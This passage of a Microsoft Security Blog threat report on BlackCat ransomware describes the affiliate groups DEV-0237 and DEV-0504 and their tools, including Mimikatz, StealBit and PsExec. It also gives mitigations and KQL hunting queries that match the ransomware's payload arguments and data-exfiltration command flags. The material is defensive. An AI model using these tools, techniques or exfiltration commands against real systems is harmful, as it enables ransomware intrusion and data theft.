Apart from the incidents discussed earlier, we’ve also observed two of the most prolific affiliate groups associated with ransomware deployments have switched to deploying BlackCat. Payload switching is typical for some RaaS affiliates to ensure business continuity or if there’s a possibility of better profit. Unfortunately for organizations, such adoption further adds to the challenge of detecting related threats.

Microsoft tracks one of these affiliate groups as DEV-0237. Also known as FIN12, DEV-0237 is notable for its distribution of Hive, Conti, and Ryuk ransomware. We’ve observed that this group added BlackCat to their list of distributed payloads beginning March 2022. Their switch to BlackCat from their last used payload (Hive) is suspected to be due to the public discourse around the latter’s decryption methodologies.

DEV-0504 is another active affiliate group that we’ve seen switching to BlackCat for their ransomware attacks. Like many RaaS affiliate groups, the following TTPs might be observed in a DEV-0504 attack:

• Entry vector that can involve the affiliate remotely signing into devices with compromised credentials, such as into devices running software solutions that allow for remote work
• The attackers’ use of their access to conduct discovery on the domain
• Lateral movement that potentially uses the initial compromised account
• Credential theft with tools like Mimikatz and Rubeus

DEV-0504 typically exfiltrates data on devices they compromise from the organization using a malicious tool such as StealBit—often named “send.exe” or “sender.exe”. PsExec is then used to distribute the ransomware payload. The group has been observed delivering the following ransom families before their adoption of BlackCat beginning December 2021:

• BlackMatter
• Conti
• LockBit 2.0
• Revil
• Ryuk

Defending against BlackCat ransomware

Today’s ransomware attacks have become more impactful because of their growing industrialization through the RaaS affiliate model and the increasing trend of double extortion. The incidents we’ve observed related to the BlackCat ransomware leverage these two factors, making this threat durable against conventional security and defense approaches that only focus on detecting the ransomware payloads. Detecting threats like BlackCat, while good, is no longer enough as human-operated ransomware continues to grow, evolve, and adapt to the networks they’re deployed or the attackers they work for.

Instead, organizations must shift their defensive strategies to prevent the end-to-end attack chain. As noted above, while attackers’ entry points may vary, their TTPs remain largely the same. In addition, these types of attacks continue to take advantage of an organization’s poor credential hygiene and legacy configurations or misconfigurations to succeed. Therefore, defenders should address these common paths and weaknesses by hardening their networks through various best practices such as access monitoring and proper patch management. We provide detailed steps on building these defensive strategies against ransomware in this blog.

In the BlackCat-related incidents we’ve observed, the common entry points for ransomware affiliates were via compromised credentials to access internet-facing remote access software and unpatched Exchange servers. Therefore, defenders should review their organization’s identity posture, carefully monitor external access, and locate vulnerable Exchange servers in their environment to update as soon as possible. The financial impact, reputation damage, and other repercussions that stem from attacks involving ransomware like BlackCat are not worth forgoing downtime, service interruption, and other pain points related to applying security updates and implementing best practices.

Leveraging Microsoft 365 Defender’s comprehensive threat defense capabilities

Microsoft 365 Defender helps protect organizations from attacks that deliver the BlackCat ransomware and other similar threats by providing cross-domain visibility and coordinated threat defense. It uses multiple layers of dynamic protection technologies and correlates threat data from email, endpoints, identities, and cloud apps. Microsoft Defender for Endpoint detects tools like Mimikatz, the actual BlackCat payload, and subsequent attacker behavior. Threat and vulnerability management capabilities also help discover vulnerable or misconfigured devices across different platforms; such capabilities could help detect and block possible exploitation attempts on vulnerable devices, such as those running Exchange. Finally, advanced hunting lets defenders create custom detections to proactively surface this ransomware and other related threats.

Additional mitigations and recommendations

Defenders can also follow the following steps to reduce the impact of this ransomware:

• Turn on Microsoft Defender Antivirus. Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a large amount of new and unknown variants.
• Enforce strong, randomized local administrator passwords. Use tools like Local Administrator Password Solution (LAPS).
• Require multifactor authentication (MFA) for local device access, RDP access, and remote connections through virtual private networks (VPNs) and Outlook Web Access. Solutions like Windows Hello or Fast ID Online (FIDO) v2.0 security keys let users sign in using biometrics and/or a physical key or device.
• Turn on Microsoft Defender Firewall.
• Implement controlled folder access to help prevent files from being altered or encrypted by ransomware. Set controlled folder access to Enabled or Audit mode.
• Investigate and remediate vulnerabilities in Exchange servers. Also, determine if implementing the Exchange Emergency Mitigation service is feasible for your environment. This service helps keep your Exchange servers secure by applying mitigations to address potential threats against your servers.

Microsoft 365 Defender customers can also apply the additional mitigations below:

• Use advanced protection against ransomware.
• Turn on tamper protection in Microsoft Defender for Endpoint to prevent malicious changes to security settings. Enable network protection in Microsoft Defender for Endpoint and Microsoft 365 Defender to prevent applications or users from accessing malicious domains and other malicious content on the internet.
• Ensure Exchange servers have applied the mitigations referenced in the related Threat Analytics report.
• Turn on the following attack surface reduction rules to block or audit activity associated with this threat:
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe)
  • Block process creations originating from PSExec and WMI commands
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

For a full list of ransomware mitigations regardless of threat, refer to this article: Rapidly protect against ransomware and extortion.

Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

Microsoft 365 Defender Threat Intelligence Team

Appendix

Microsoft 365 Defender detections

Microsoft Defender Antivirus

• Ransom:Win32/BlackCat!MSR
• Ransom:Win32/BlackCat.MK!MTB
• Ransom:Linux/BlackCat.A!MTB

Microsoft Defender for Endpoint EDR

Alerts with the following titles in the security center can indicate threat activity on your network:

• An active ‘BlackCat’ ransomware was detected
• ‘BlackCat’ ransomware was detected
• BlackCat ransomware

Hunting queries

Microsoft 365 Defender

To locate possible ransomware activity, run the following queries.

Suspicious process execution in PerfLogs path

Use this query to look for processes executing in PerfLogs—a common path used to place the ransomware payloads.

DeviceProcessEvents
| where InitiatingProcessFolderPath has "PerfLogs"
| where InitiatingProcessFileName matches regex "[a-z]{3}.exe"
| extend Length = strlen(InitiatingProcessFileName)
| where Length == 7

Suspicious registry modification of MaxMpxCt parameters

Use this query to look for suspicious running processes that modify registry settings to increase the number of outstanding requests allowed (for example, SMB requests when distributing ransomware via its PsExec methodology).

DeviceProcessEvents
| where ProcessCommandLine has_all("LanmanServer", "parameters", "MaxMpxCt", "65535")

Suspicious command line indicative of BlackCat ransom payload execution

Use these queries to look for instances of the BlackCat payload executing based on a required command argument for it to successfully encrypt ‘–access-token’.

DeviceProcessEvents
| where ProcessCommandLine has_all("--access-token", "-v") 
| extend CommandArguments = split(ProcessCommandLine, " ")
| mv-expand CommandArguments
| where CommandArguments matches regex "^[A-Fa-f0-9]{64}$"

DeviceProcessEvents
| where InitiatingProcessCommandLine has "--access-token"
| where ProcessCommandLine has "get uuid"

Suspected data exfiltration

Use this query to look for command lines that indicate data exfiltration and the indication that an attacker may attempt double extortion.

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all("copy", "--max-age", "--ignore-existing", "--multi-thread-streams", "--transfers") and InitiatingProcessCommandLine has_any("ftp", "ssh", "-q")

The post The many lives of BlackCat ransomware appeared first on Microsoft Security Blog.